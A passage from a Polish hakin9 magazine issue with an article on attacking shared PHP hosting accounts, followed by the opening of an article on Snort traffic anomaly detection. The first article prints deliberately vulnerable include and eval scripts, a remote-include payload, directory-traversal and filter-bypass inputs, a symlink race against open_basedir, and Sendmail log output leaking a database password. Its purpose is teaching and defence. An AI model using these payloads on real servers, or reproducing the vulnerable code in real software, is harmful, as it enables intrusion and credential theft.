opcjonalnie jako ostatni argument
parametry linii poleceń dla MTA
(ang. Mail Transfer Agent) czyli
programu dostarczającego pocztę.
I tak demon Sendmail może przy-
jąć między innymi takie dwa cieka-
we parametry:

• C plik – ścieżka do alternatywne-

go pliku konfiguracyjnego

• X plik – ścieżka do pliku, w któ-

rym zapisany będzie dość szcze-
gółowy log.

Co to daje hakerowi? Wbrew pozo-
rom całkiem niemało, spójrzmy na
Listing 10.

W ostatnim argumencie ha-

ker podaje jako plik konfiguracyj-
ny dla Sendmaila plik konfigura-
cyjny do forum doktora Mieczysła-
wa jednocześnie prosząc o logi do
pliku

/tmp/.mb _ send _ mail.

Oto co

haker zobaczy w przypadku wyłą-
czonego

safe _ mode

oraz MTA w

postaci Sendmaila na serwerze-
(Listing 22)

Jak widać Sendmailowi nie od-

powiadała żadna linijka z podane-
go pliku konfiguracyjnego, co skru-
pulatnie odnotował, dzięki cze-
mu z jego logów można praktycz-
nie odtworzyć cały plik. Inne MTA
jak Postfix czy Exim działają nieco
inaczej niż Sendmail, więc powyż-
szy przykład dotyczy tylko sytuacji
z tym demonem na serwerze. Może
jednak inne MTA mają inne opcje,
które można odpowiednio wyko-
rzystać?

Wiemy już, jak działają dyrekty-

wy safe_mode i

open _ based

ir – kie-

dy użytkownik chce uzyskać dostęp
do pliku lub katalogu, sprawdzane
są odpowiednie ścieżki lub ich wła-

Listing 15.

blah.txt

<?

php

highlight_file

(

$_SERVER

[

'SCRIPT_FILENAME'

])

;

phpinfo

()

;

?>

Listing 16.

badinclude1.php

<?

php

$skin

=

(

isset

(

$_GET

[

'skin'

]))

?

$_GET

[

'skin'

]

:

"default"

;

$skin

=

"skins/

$skin

/main.inc"

;

if

(

file_exists

(

$skin

))

include

(

$skin

)

;

?>

Listing 17.

evalcalc.php – szybki kalkulator w php

<?

php

$expr

=

(

isset

(

$_POST

[

'expr'

]))

?

$_POST

[

'expr'

]

:

""

;

if

(

@get_magic_quotes_gpc

())

$expr

=

stripslashes

(

$expr

)

;

if

(

!

empty

(

$expr

))

{

eval

(

"

\$

result =

$expr

;"

)

;

echo

"Wynik wyrażenia

$expr

to

$result

"

;

}

echo

"

<

hr

><

form action=

'$_SERVER[PHP_SELF]'

method=

'POST'

>

";

echo "

wyrażenie:

<

input name=

'expr'

size=

'64'

value=

'$expr'

>

";

echo "

<

input type=

'submit'

value=

'wylicz'

>

";

echo "

<

/form

>

";

?>

Listing 18.

illusion.php

<?

php

$skin

=

(

isset

(

$_GET

[

'skin'

]))

?

$_GET

[

'skin'

]

:

"default"

;

$skin

=

"skins/

$skin

/main.inc"

;

/* zabezpieczmy się przed sytuacją, gdy haker chce wyjść katalog wyżej */

$skin

=

str_replace

(

"../"

,

""

,

$skin

)

;

if

(

file_exists

(

$skin

))

include

(

$skin

)

;

?>

Listing 19.

dyrektywa safe_mode

Warning:

include

()

[

function

.

include

]

:

SAFE MODE Restriction in effect.
The script whose uid is 31337 is not
allowed to access
/etc/passwd owned by uid 0 in
/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

(

/etc/passwd

)

[

function

.

include

]

: failed to open

stream: No such

file

or

directory in

/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

()

[

function

.

include

]

:

Failed opening

'/etc/passwd'

for

inclusion

(

include_path=

'.:/usr/share/php:

/usr/share/pear'

)

in

/home/users/haker/public_
html/includepasswd.php on line 3

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

56

ściciel. Jeżeli plik jest poza ścieżką
wyznaczoną przez open_basedir
bądź jego właścicielem nie jest wła-
ściciel skryptu (w przypadku

safe _

mode

), odmawiany jest użytkowniko-

wi do zasobu dostęp. Spójrzmy na
Listing 11. Natomiast wynik zobaczy-
my na Listingu 23.

Linia mkdir(„1/2/3/4/5”, 0777,

true) tworzy zagłębioną strukturę
katalogów – 5 poziomów. Następ-
nie tworzony jest link symboliczny
o nazwie tango do ostatniego ka-
talogu w tej strukturze. Drugi sym-
link tworzy dowiązanie cash wska-
zujące na pięć katalogów wstecz od
katalogu wskazywanego przez tan-
go, czyli do katalogu, w którym znaj-
dują się de facto oba linki, do któ-
rego oczywiście mamy dostęp, za-
tem próba dostępu do cash zakoń-
czy się powodzeniem.

W następnym kroku usuwany

jest i tworzony na nowo link sym-
boliczny tango, tym razem wskazu-
jąc jednak na katalog bieżący. Po
tym zabiegu cash wskazuje na pięć
katalogów wstecz od katalogu bie-
żącego, a więc na główny katalog
/. Nie należy on do nas ani nie jest
w ścieżce określonej przez

open _

basedir

, więc PHP nie pozwoli nam

go odczytać, co widać powyżej.
Jeżeli przypomnimy sobie teraz ar-
tykuł Michała Wojciechowskiego z
trzeciego numeru hakin9 na temat
sytuacji wyścigu, zauważyć moż-
na tutaj analogiczną sytuację. By
z niej skorzystać, stworzymy dwa
skrypty, pierwszy (Listing 12) bę-
dzie nieustannie podmieniał link
symboliczny tango – raz na katalog
1/2/3/4/5, raz na katalog bieżący,
drugi (Listing 13) będzie do skutku
próbował odczytać plik cash/home/

users/mieciu/public_html/forum/

cfg.php.

W końcu wystąpi sytuacja, kie-

dy PHP sprawdzi dostęp do pliku w
momencie, gdy tango będzie wska-
zywał na katalog 1/2/3/4/5, a więc
nie będzie nam się sprzeciwiał, bo
otwierany cash będzie wskazywał
na katalog bieżący, a chwilę później,
kiedy będzie otwierany z drugie-
go skryptu plik doktora Mieczysła-
wa, tango wskazywać już będzie na

Listing 20.

dyrektywa open_basedir

Warning:

include

()

[

function

.

include

]

:

open_basedir restriction in effect.

File

(

/etc/passwd

)

is not within the

allowed path

(

s

)

:

(

/tmp:/home/users/haker

)

in

/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

(

/etc/passwd

)

[

function

.

include

]

:

failed to open stream: Operation not
permitted in /home/users/haker/public
html/p1.php on line 3

Warning:

include

()

[

function

.

include

]

:

Failed opening

'/etc/passwd'

for

inclusion

(

include_path=

'.:/usr/share/php:

/usr/share/pear'

)

in

/home/users/haker/public_
html/includepasswd.php on line 3

Listing 21.

Pierwsze pliki po wejściu na stronę

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

/

home/users/mieciu/

Mail

)

is not within the allowed

path

(

s

)

:

(

/tmp:/home/users/haker

)

in /home/users/

haker/public_html/globtest.php on line 9

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

/

home/users/mieciu/public_html

)

is not within the

allowed path

(

s

)

:

(

/tmp:/home/users/haker

)

in /home/

users/haker/public_html/globtest.php on line 8

Listing 22.

Włączony safe_mode i MTA

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:
line 1: unknown configuration line
"
<?php"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:
line 2: unknown configuration line
".user = "mieciu";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 3:
unknown configuration line ".pass =
"niktniezaliczy!";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 4:
unknown configuration line ".host =
"localhost";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 5:
unknown configuration line ".base = "mieciu-forum";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 6:
unknown configuration line "?>"

11905 >>> No local mailer defined


11905 >>> QueueDirectory (Q) option must be set

background image

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

57

katalog bieżący, a więc cash na /
- wyścig wygrany – hasła miecia
w przeglądarce! Skrypt alternate-
links.php można jeszcze uprościć
usuwając dwie ostatnie linijki z pę-
tli while usuwające i tworzące link
symboliczny tango na katalog 1/2/3/
4/5, ponieważ katalog wskazywany
przez cash nie będzie istniał, a więc
nie wyprowadzi do katalogu głów-
nego /. Jedynym sposobem zabez-
pieczenia przez administratora ta-
kiej sytuacji wyścigu jest wyłączenie
z użycia funkcji symlink poprzez do-
danie jej do dyrektywy disable_func-
tions w pliku php.ini. Tym oto sposo-
bem haker pozyskał dostęp do bazy
danych i konta swojego wykładow-
cy, co na pewno zaowocuje zalicze-
niem kursu.

Należy jeszcze zwrócić uwagę,

że haker mając możliwość urucha-
miania swoich własnych skryptów
CGI w perlu, bashu, c, pythonie, czy
w jeszcze innym języku również omi-
ja zabezpieczenia związane z

open _

basedir

oraz

safe _ mode

, bo są to w

końcu zabezpieczenia PHP.

Załóżmy teraz, że administra-

tor zabezpieczył serwer jak nale-
ży, użytkownicy nie mają wzajem-
nie dostępu do swoich zasobów.
Hakerowi został więc teraz plan B
czyli szukanie niedociągnięć i za-
niedbań w skryptach PHP znajdu-
jących się na koncie doktora Mie-
czysława. Przeanalizujemy teraz
kilka hipotetycznych sytuacji, które
teoretycznie mogą wystąpić, a za-
uważymy, że faktycznie często się
one zdarzają.

Jako pierwsze omówimy funkcje

wstawiające w miejsce, w którym są
wywoływane zawartość innego pliku
(który może być, ale nie musi, skryp-
tem PHP) czyli

include

,

require

, i

n-

clude _ once

,

require _ once

. Różnica

między include, a require polega na
tym, że w przypadku błędu require
zakończy wykonanie skryptu, pod-
czas gdy include wypisze ostrzeże-
nie i wykonanie skryptu będzie kon-
tynuowane.

Suffix _ once

gwarantu-

je, że pliki załączone będą tylko raz.
Spójrzmy w takim razie na Listing 14,
na którym przedstawiona jest pierw-
sza niebezpieczna sytuacja.

Skrypt badninclude.php nie ro-

bi nic wielkiego, pobiera nazwę
skórki ze zmiennej

$ _ GET['skin']

i załącza odpowiedni plik, z kata-
logu danej skórki. Jeżeli podamy
nazwę nieistniejącej skórki (http:

//serwer/badinclude.php?skin=niei

stniejacaskorka), zostanie wyświe-
tlone mniej więcej takie ostrzeże-
nie, jak w Listingu 24.

Haker może bardzo szybko wy-

korzystać taki błąd nawet, jeśli nie
posiada konta na serwerze ofiary.
Na innym serwerze tworzy on plik
tekstowy o nazwie blah.txt i zawarto-
ści jak na listingu 15.

Jak widzimy, jest to skrypt PHP

kolorujący swoje źródło, a następ-
nie wyświetlający informacje o PHP

funkcją phpinfo. Teraz podając ja-
ko skórkę adres www do tego pli-
ku zakończony znakiem zapytania
- co spowoduje, że reszta linijki bę-
dzie traktowana jako zmienne me-
tody GET dla rzekomego skryptu
- haker uruchomi kod PHP zawarty
w podanym pliku. Widać to na zrzu-
cie ekranu przedstawionym na Ry-
sunku 1.

Istnieją trzy okoliczności wy-

kluczające załączanie plików znaj-
dujących się na zdalnym ser-
werze. Pierwszą z nich jest
ustawiona opcja allow_url_fo-

pen na off w php.ini, która po-
zwala załączać jedynie pliki
lokalne, druga, to sytuacja, kie-
dy nie możemy zmienić początku

Listing 23.

Wynik zadania z Listingu 11

pierwszy dostep

do

katalogu cash...

Array

(

[

0

]

=

>

cash/1

[

1

]

=

>

cash/cash

[

2

]

=

>

cash/symlinks.php

[

3

]

=

>

cash/

tango

)

drugi dostep

do

katalogu cash...

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

cash/bin

)

is not within the allowed path

(

s

)

:

(

/tmp:/home/users/haker

)

in /home/users/haker/public_

html/tmp/symlinks.php on line 17

Listing 24.

Ostrzeżenie po podaniu nazwy nieistniejącej skórki

Warning:

include

(

nieistrniejacaskorka_skin/main.inc

)

[

function

.

include

]

:

failed to open stream: No such

file

or

directory in /

home/users/mieciu/public_html/badinclude.php on line 3

Warning:

include

()

[

function

.

include

]

: Failed opening

'nieistrniejacaskorka_

skin/main.inc'

for

inclusion

(

include_path=

'.:/usr/

share/php:/usr/share/pear'

)

in /home/users/mieciu/

public_html/badinclude.php on line 3

Listing 25.

Dyrektywa register_globals włączona

Notice: Undefined variable: modules_dir in
/home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Notice: Undefined variable:
lang in /home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Warning:

include

(

/main/-welcome.txt

)

[

function

.

include

]

: failed to open stream:

No such

file

or

directory in

/home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Warning:

include

()

[

function

.

include

]

:

Failed opening

'/main/-welcome.txt'

for

inclusion

(

include_path=

'.:/usr/share/php

:/usr/share/pear'

)

in /home/users/mieciu/public_

html/news/modules/main/main.php on line 11

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

58

załączanego pliku, trzecia zaś to
sprawdzanie czy plik do wstawie-
nia istnieje. Dwa ostatnie przypadki
przedstawia Listing 16.

W przedstawionym przypadku

nie zostanie wyświetlony błąd o
nieistniejącym pliku, choć w wie-
lu skryptach taka informacja jest
podawana. Istnieje jednak du-
że prawdopodobieństwo, że jest
to ogólnodostępny skrypt i jeże-
li nie ma jego nazwy w stopce
lub źródle, jest wielce prawdopo-
dobne, że wpisując w wyszuki-
warkach stron www kilka powta-
rzających się fraz na stronie, je-
steśmy w stanie określić jaki to
skrypt i gdzie znaleźć jego źródła,
którym możemy się przyjrzeć. Je-
żeli nie, możemy poprosić wprost
naszego doktora Mieczysława o
informacje jakiego to świetnego
skryptu używa, czy sam go napi-
sał i czy można pozyskać jego ko-
pię. A mając jego kopię, dokład-
nie widać, w czym problem. Haker
natychmiastowo tworzy więc plik
/tmp/main.inc na tym samym ser-
werze, na którym konto ma dok-
tor Mieczysław, o identycznej za-
wartości jak blah.txt z Listingu 14,
po czym wchodzi na adres http:

//serwer/badinclude1.php?skin=../

../../../../tmp. Zmienna $skin w dru-
giej linijce skryptu ma wtedy war-
tość skins/../../../../../tmp/main.inc,
a więc prowadzi prosto do stwo-
rzonego wcześniej pliku /tmp/
main.inc, co skutkuje podobnym
efektem, jaki obserwowaliśmy na
poprzednim rysunku.

A co z register_globals?

Jeżeli dyrektywa z php.ini o nazwie
register_globals zostanie ustawio-
na na on oznacza to, że wszystkie
zmienne przekazywane do skryp-
tu są dostępne w postaci $na-
zwa_zmiennej i nie trzeba do ich
dostępu używać tablic globalnych
typu

$ _ GET['nazwa _ zmiennej']

,

$ _ POST['nazwa _ zmiennej'],

$ _

SESSION['nazwa _ zmiennej']

i tak

dalej. Z jednej strony może się wy-
dawać to wygodne, z drugiej jed-
nak nie bez powodu developerzy
PHP w wersji 4.2.0 ustawili do-

myślnie tę dyrektywę wyłączoną.
Jej deaktywacja powoduje jed-
nak masę problemów ze starszy-
mi skryptami, więc najczęściej ad-
ministratorzy pozostawiają ją włą-
czoną. Rozpatrzmy dość często
stosowany szablon aplikacji PHP.
W katalogu głównym, nazwijmy go
news, znajduje się plik index.php
(Listing 16). Na wstępie załącza
plik z tego samego katalogu ze
zmiennymi konfiguracyjnymi o na-
zwie conf.php (Listing 17). Potem
sprawdza czy istnieją odpowiednie
katalogi ze skórkami i z modułami,
jeżeli nie, przerywa swoje działa-
nie. W kolejnym kroku sprawdza
nazwę modułu, do którego chce
wejść użytkownik w odpowied-
nim bloku switch, a więc użytkow-
nik nie ma szans przemycić tutaj
ścieżki do swojego pliku. Jeżeli
moduł zaproponowany przez użyt-
kownika istnieje, załączany jest
on z katalogu modules/nazwa_

modułu/main.php, jeżeli nie, na-
zwą modułu jest moduł domyślny
main. Wszystko zrobione jak nale-
ży. Przykładowy plik do załączenia
modules/main/main.php przedsta-
wiony jest na Listingu 18. W pierw-
szych linijkach tego pliku spraw-
dzane jest czy zmienna

$configured

jest ustawiona na 1, co oznacza,
że został załączony plik konfigu-
racyjny z Listingu 17. Jeżeli zatem
haker poda w przeglądarce adres

http://serwer/news/modules/main/

main.php, skrypt wyświetli mu po-
niższy komunikat i zakończy dzia-
łanie:

Nie możesz wchodzić do tego pli-

ku bezpośrednio!

W sytuacji, kiedy dyrektywa regi-

ster_globals jest włączona, wystar-
czy natomiast, że haker jako adres
wpisze http://serwer/news/modules/

main/main.php?configured=1, a w
przeglądarce ujrzy mniej więcej to,
co możemy zobaczyć na Listin-
gu 25.

zFunkcja eval

Eval to „magiczna” funkcja, któ-
ra tekst zawarty jako jej argument
traktuje jako kod PHP. I tak na
przykład można napisać bardzo

szybko efektowny kalkulator, któ-
ry będzie umiał wyliczyć wszyst-
ko to, co potrafi wyliczyć sam ję-
zyk PHP, kalkulator taki przedsta-
wia Listing 17.

Pierwsze linijki skryptu eval-

calc.php

usuwają

potencjalne

znaki \ przekazane przez formu-
larz, ostatnie tworzą sam formu-
larz. Sercem kalkulatora jest linij-
ka eval("\$result = $expr;");, któ-
ra dzięki funkcji eval, przypisu-
je zmiennej $result wynik wyra-
żenia podanego przez użytkowni-
ka. I tak podając mało ciekawe wy-
rażenie w stylu 2+2*2<<2 skrypt
odpowie nam: Wynik wyrażenia
2+2*2<<2 to 24. Niby nic wielkiego,
można się jednak pokusić o zde-
cydowanie ciekawsze wyrażenie,
na przykład

2+2*2<<2;highlight _

f i l e ( $ _ S E R V E R [ " S C R I P T _
FILENAME"]).

Jakkolwiek wynik wy-

rażenia otrzymany w zmiennej $re-
sult będzie identyczny z tym po-
przednim, dostaniemy jeszcze ma-
ły bonus w postaci pokolorowane-
go źródła kalkulatora (co widać na
rysunku 2) – czyli to, o co de facto
poprosiliśmy pisząc po średniku za
pierwotnym wyrażeniem. Tak wła-
śnie działa eval.

Backdoor PHP czy

kiepski programista?

Jak widać istnieje wiele niebez-
piecznych sytuacji, pozwalają-
cych hakerom na działania, któ-
rych nie powinni być w stanie do-
konać. Zdecydowana większość
osób posiadających swoje witryny
używa gotowych skryptów, pisa-
nych przez nieznane osoby. Skąd
pewność, że to bezpieczne apli-
kacje webowe, a nie tylne drzwi
do kont użytkowników, którzy ich
używają? Co jakiś czas odkrywa-
ne są nowe luki i niedociągnięcia
w popularnych skryptach PHP. Ale

W Sieci

http://www.php.net/ – strona domo-

wa skryptowego języka PHP

http://www.apache.org/ – strona

domowa serwera www Apache

background image

Bezpieczieńczstwo kont PHP

czy to na pewno niedociągnięcia,
a nie celowe działania ich twór-
ców? Zauważmy, że w przypad-
ku, gdy wszystkie omówione wyżej
metody zawiodą hakera w dostę-
pie do bazy danych doktora Mie-
czysława, może on przygotować
jakiś bardzo ładny skrypt odpowia-
dający idealnie profilowi doktora,
z ładną grafiką, z ładnie prezen-
tującą go stroną główną, z ładnie
przygotowanymi rzekomymi ko-
mentarzami zadowolonych użyt-
kowników i zupełnie przypadkowo
podrzucić go wykładowcy – czy to
wysyłając maila, czy to porusza-
jąc temat wspaniałej strony dokto-
ra na jednym z jego wykładów, czy
to wykorzystując do tego celu jesz-
cze inne sztuczki lub osoby będą-
ce bliżej potencjalnej ofiary. Oczy-
wiście pan Mieczysław nie bez po-
wodu ma tytuł doktora, więc ów
skrypt będzie co najmniej musiał
zawierać iluzję zabezpieczeń. Kil-
ka takich iluzji zabezpieczeń moż-
na zauważyć analizując przedsta-
wione wcześniej listingi, kolejną
może być sytuacja przedstawio-
na w skrypcie na Listingu 18, któ-
ry jest lekką modyfikacją wcze-
śniej pokazanego skryptu badinc-

lude1.php.

Faktycznie, linijka

$skin

=

str _ replace("../", "", $skin);

powoduje, że wszystkie wystą-
pienia ciągu znaków ../ zostaną
usunięte i tak podając w adresie

illusion.php?skin=../../../../../tmp

zmienna $skin będzie zawierać
ścieżkę skins/tmp/main.inc – haker
nie wyjdzie więc poza dany kata-
log. W ten sposób celu nie uda się
osiągnąć. Zwróćmy jednak uwagę,
że usuwane są znaki w konfigura-
cji ../, a .. lub samo / już nie. Dla-
tego wystarczy, że haker rozdzie-
li ../ czymś, co zostanie usunięte
(czyli też ../), a uzyska to, co so-
bie zamierzył. Podając więc do
adresu następujący ciąg znaków:

illusion.php?skin=....//....//....//..../

/....//tmp, zostaną usunięte znaki
przedstawione na czerwono, po-
zostawiając w zmiennej $skin war-
tość skins/../../../../../tmp/main.inc,
a więc faktycznie to była iluzja za-
bezpieczenia, a nie realne zabez-
pieczenie.

Podsumowanie

Jak widać z powyższych rozwa-
żań, umieszczanie swojej witry-
ny WWW w Internecie nie mo-
że się sprowadzać tylko do ścią-
gnięcia najnowszej wersji używa-

nego skryptu, umieszczenia go
na serwerze i szybkiej konfigura-
cji. Należy sprawdzić zabezpie-
czenia serwera, i w razie, gdy ma-
my dostęp do plików innych użyt-
kowników, należy to natychmiast
zgłosić administratorowi, ponie-
waż tym samym każdy inny użyt-
kownik tego serwera może czytać
nasze pliki z hasłami, czy prywat-
nymi informacjami. Należy też się
dobrze przyjrzeć wykorzystywa-
nym w serwisie skryptom PHP, za-
równo własnym, jak i innym, nawet
tym ze sprawdzonych źródeł. Je-
żeli nie mamy czasu na czytanie
linijka po linijce setek linii całego
kodu, należy przynajmniej odna-
leźć te, które są kluczowe dla bez-
pieczeństwa całego konta, poten-
cjalnie niebezpieczne funkcje, któ-
re zostały przedstawione w tym
artykule oraz generalnie wszyst-
kie inne operujące na plikach,
czyli

include/require

, eval, sys-

tem, exec,

passthru, proc _ open

,

higlight _ file

, readfile, file, fi-

le_get_contents, fopen i tak da-
lej. Ktoś przecież może mieć wo-
bec Ciebie takie zamiary jak nasz
haker wobec szanownego doktora
Mieczysława, wyprzedź go więc o
krok i bądź przygotowany. l

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 3/2007

64

Obrona

O

pisany poniżej projekt AnomalyDetec-
tion jest próbą włączenia się w ten nurt
poprzez przygotowanie prostego pre-

procesora Snorta mierzącego ruch sieciowy i
generującego ostrzeżenia, jeśli jego natężenie
odbiega znacznie od typowego natężenia noto-
wanego w sieci o tej porze dnia.

Nieco zastrzeżeń

Detekcja anomalii to pojęcie bardzo szerokie.
Można – w systemach host-based IDS (HIDS)
– wykrywać nietypowe zachowania się urzą-
dzeń (na przykład dużą ilość danych odczyty-
wanych z dysku twardego), w systemach sie-
ciowych (network IDS, NIDS) próbować znaj-
dować koincydencje pomiędzy „podejrzanymi”
pakietami a atakami sieciowymi, czy wresz-
cie analizować ruch sieciowy poszukując nie-
typowego zachowania się poszczególnych ma-
szyn. To ostatnie podejście nazywane jest cza-
sem Traffic Anomaly Detection i właśnie na nim
opiera się przedstawione w artykule rozwiąza-
nie.

Detekcja anomalii wydaje się być metodą

bardzo obiecującą, wykrywanie ataku nie jest
w niej bowiem uzależnione od znajomości
konkretnej sygnatury. Jak dobrze wiadomo

liczba i zróżnicowanie rozmaitych eksploitów,
wirusów, robaków, rootkitów i innych złośli-
wych programów jest na tyle duża, że uak-
tualnianie w rozsądnym czasie baz sygnatur
jest bardzo trudne. Na dodatek nie wszystkie
ataki muszą być prowadzone metodami czy-
sto „informatycznymi”. Najprostszym przy-
padkiem jest sytuacja, w której komuś udało
się na przykład odgadnąć albo ukraść hasło
administratora routera i skierować kopię ru-
chu wychodzącego z sieci do własnego anali-
zatora. Oczywiście zdarzenia takiego nie wy-
kryje, ani nie zapobiegnie mu system opar-
ty na sygnaturach (no chyba, że – co w za-

Detekcja anomalii

ruchu sieciowego

w programie Snort

Maciej Skowroński, Radosław Wężyk, Maciej Szmit

stopień trudności

O detekcji anomalii napisano całkiem sporo. Na przykład Google

znajduje bez większego trudu ponad milion stron poświęconych

temu zagadnieniu. Co jakiś czas pojawiają się też prace

poświęcone zastosowaniu do detekcji anomalii najdziwniejszych

technik i algorytmów poczynając od metod statystycznych a

kończąc na rozmaitych technikach sztucznej inteligencji.

Z artykułu dowiesz się...

• informacji o preprocesorach do Snorta bazują-

cych na detekcji anomalii,

Co powinieneś wiedzieć...

• podstawy komunikacji sieciowej TCP/IP
• podstawowe pojęcia dotyczące wykrywania in-

truzów

• znajomość jęzayka C++

background image

Detekcja anomalii ruchu sieciowego w programie Snort

hakin9 Nr 3/2007

www.hakin9.org

65

sadzie byłoby niezłym pomysłem
– zabroniliśmy zdalnego logowania
na router brzegowy i nakazaliśmy
informować o takich próbach), na-
tomiast prowadzona dowolną me-
todą analiza ruchu powinna zdecy-
dowanie zasygnalizować podwoje-

nie natężenia ruchu wychodzące-
go. Z drugiej strony detekcja ano-
malii nie może być uważana za pa-
naceum na ataki sieciowe. Przesła-
nie jednego pakietu (a tyle wystar-
czy niektórym robakom) czy za-
szyfrowanej wiadomości pomiędzy
masterem a zombi sieci DDoS mo-
że pozostać niezauważone zarów-
no przez system detekcji sygnatu-
rowej jak i detekcji anomalii.

Trochę statystyki

Aby móc mówić o anomaliach na-
leży przede wszystkim zecydować
się, co uznajemy za normalny ruch
sieciowy. Oczywiście charaktery-
styka każdej sieci będzie wyglą-
dała inaczej, koniecznym jest więc
zaimplementowanie metod pozwa-
lających na nauczenie systemu
charakterystyki sieci, w której bę-
dzie pracował. Na obecnym eta-
pie rozwoju opisywanego progra-
mu zostały do tego wykorzystane
proste mierniki statystyczne (śred-
nie natężenie ruchu określonego
typu oraz odchylenie standardowe,
rzecz jasna liczone osobno dla róż-
nych pór doby).

Pierwszym etapem tworzenia

systemu była implementacja apli-
kacji współpracującej z systemem
Snort, której zadaniem miało być
zapisywanie do pliku określonych
parametrów ruchu przechwycone-
go przez Snorta. Po przejrzeniu
dokumentacji Snorta (bardzo ską-
pej) i przeanalizowaniu jego ko-

du źródłowego zaimplementowa-
ny został preprocesor zapisujący
parametry przechwyconego ruchu
do pliku w określonych interwałach
czasowych. Struktura pliku została
dobrana tak, aby łatwo można było
go zaimportować do Excela w ce-
lu dalszej analizy zapisanych para-
metrów.

Eksperymentalnie program uru-

chomiony został w osiedlowej sie-
ci komputerowej w celu analizy za-
leżności i powtarzalności monitoro-
wanych zjawisk. Można się spodzie-
wać, że charakterystyka ruchu bę-
dzie inna w przypadku sieci osiedlo-
wej, inna w sieci biurowej, a jeszcze
inna w sieci w firmie zajmującej się
hostingiem. Analiza zebranych da-
nych pokazała, istnienie podwójnej
okresowości (dobowej i tygodnio-
wej). Można spodziewać się także,
że w sieci wystąpi okresowość rocz-
na, jakkolwiek analizowane szeregi
były zbyt krótkie by to wykazać.

Na wykresie 1. widoczna jest

okresowość dobowa. Można zauwa-
żyć określone wartości liczby pa-
kietów w odpowiednich godzinach
w czasie doby. Widoczne jest rów-
nież wzmożenie ruchu w weekend
(24.06.06-25.06.06).

Napisany preprocesor zapisuje

25 parametrów przechwyconego ru-
chu sieciowego:

• Liczba pakietów TCP,
• Liczba wysłanych pakietów TCP,
• Liczba odebranych pakietów TCP,

Co to jest Snort

Snort http://www.snort.org jest dostep-
nym na licencji GNU systemem detek-
cji włamań (IDS). Na stronach Snorta
można znaleźć jego dystrybucje dla
systemów linux i Windows oraz przygo-
towaną specjalnie dla początkujących
wersję w postaci maszyny wirtualnej
VMWare. Snort umożliwia dołączanie
preprocesorów danych implementują-
cych własne mechanizmy detekcji wła-
mań (jednym z nich jest opisany w ar-
tykule preprocesor Anomaly Detection
http://www.anomalydetection.info), po-
trafi również współpracować z progra-
mami zewnętrznymi, dzięki czemu
można rozszerzać jego funkcjonal-
ność na przykład o system aktywnej
odpowiedzi czy o wizualizację staty-
styk włamań za pomocą stron www.
Systemy wykrywania włamań dzieli
się zazwyczaj na systemy detekcji nad-
użyć (oparte o bazę sygnatur, działają-
ce analogicznie do programów antywi-
rusowych czy zwalczajacych malware)
oraz systemy detekcji anomalii – reagu-
jące na nietypowe zachowania sieci lub
komputera. Snort jest systemem wy-
korzystującym sygnaturową detekcję
nadużyć, jakkolwiek można – dzięki je-
go modularnej budowie – próbować za-
implementowac w nim również mecha-
nizmy detekcji anomalii. Jedną z pierw-
szych prób był eksperymentalny pre-
procesor SPADE (Statistical Packet
Anomaly Detection Engine
) pozwala-
jący zgromadzić charakterystyki, pa-
kietów, w tym statystyki ich występo-
wania. O ile nam jednak wiadomo, pro-
jekt ten po skomercjalizowniu jako SPI-
CE nie jest już rozwijany, natomiast je-
go starą wersję (włącznie z kodem
źródłowym) można znaleźć pod ad-
resem http://www.bleedingsnort.com/
cgi-bin/viewcvs.cgi/?cvsroot=SPADE.

Ciekawym pomysłem jest rów-
nież projekt Snort+AI wykoprzy-
stujący sztuczne sieci neurono-
we do wykrywania skanowania
portów http://afrodita.unicauca.edu.co/
%7Eaarboleda/snort_ai.htm

Rysunek 1.

Wykres 1

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

66

• Liczba pakietów TCP wewnątrz

sieci LAN,

• Liczba datagramów UDP,
• Liczba wysłanych datagramów

UDP,

• Liczba odebranych datagramów

UDP,

• Liczba datagramów UDP we-

wnątrz sieci LAN,

• Liczba pakietów ICMP,
• Liczba

wysłanych

pakietów

ICMP,

• Liczba odebranych pakietów ICMP,
• Liczba pakietów ICMP wewnątrz

sieci LAN,

• Liczba pakietów z włączonymi

flagami SYN i ACK,

• Liczba wysłanych pakietów port

80 (usługa WWW),

• Liczba odebranych pakietów port

80 (usługa WWW),

• Liczba wysłanych pakietów port

53 (usługa DNS),

• Liczba odebranych pakietów port

53 (usługa DNS),

• Prędkość wysyłania danych w

kB/s (TCP/IP),

• Prędkość ściągania danych w

kB/s (TCP/IP),

• Prędkość wysyłania danych port

80 w kB/s (TCP/IP, WWW),

• Prędkość ściągania danych port

80 w kB/s (TCP/IP, WWW),

• Prędkość wysyłania danych w

kB/s (UDP),

• Prędkość ściągania danych w

kB/s (UDP),

• Prędkość wysyłania danych port

53 w kB/s (UDP, DNS),

• Prędkość ściągania danych port

53 w kB/s (UDP, DNS).

Domyslnie system zapisuje logi co
600sekund (interwał ten może oczy-
wiście być zmieniony przez użytkow-
nika). Po pewnym czasie (im dłuż-
szym tym lepiej) można spróbo-
wać wygenerować profil sieci, czy-
li charakterystykę, która informuje
na przykład o tym, jakie jest śred-
nie natężenie (i odchylenie standar-
dowe) ruchu wychodzącego na port
53 UDP w poniedziałki o godzinie
12:05.

Profil sieci generowany jest za

pomocą osobnej aplikacji o nazwie
ProfileGenerator. Program ten wczy-
tuje plik z logami zebranymi przez
preprocesor i na ich podstawie ge-
neruje plik profilu. Zapisywany jest
on w katalogu /etc pod nazwą pro-
file.txt. W pliku profilu określone są
wartość średnia i odchylenie stan-
dardowe każdego z analizowanych
typów ruchu dla każdego dnia tygo-
dnia i godziny.

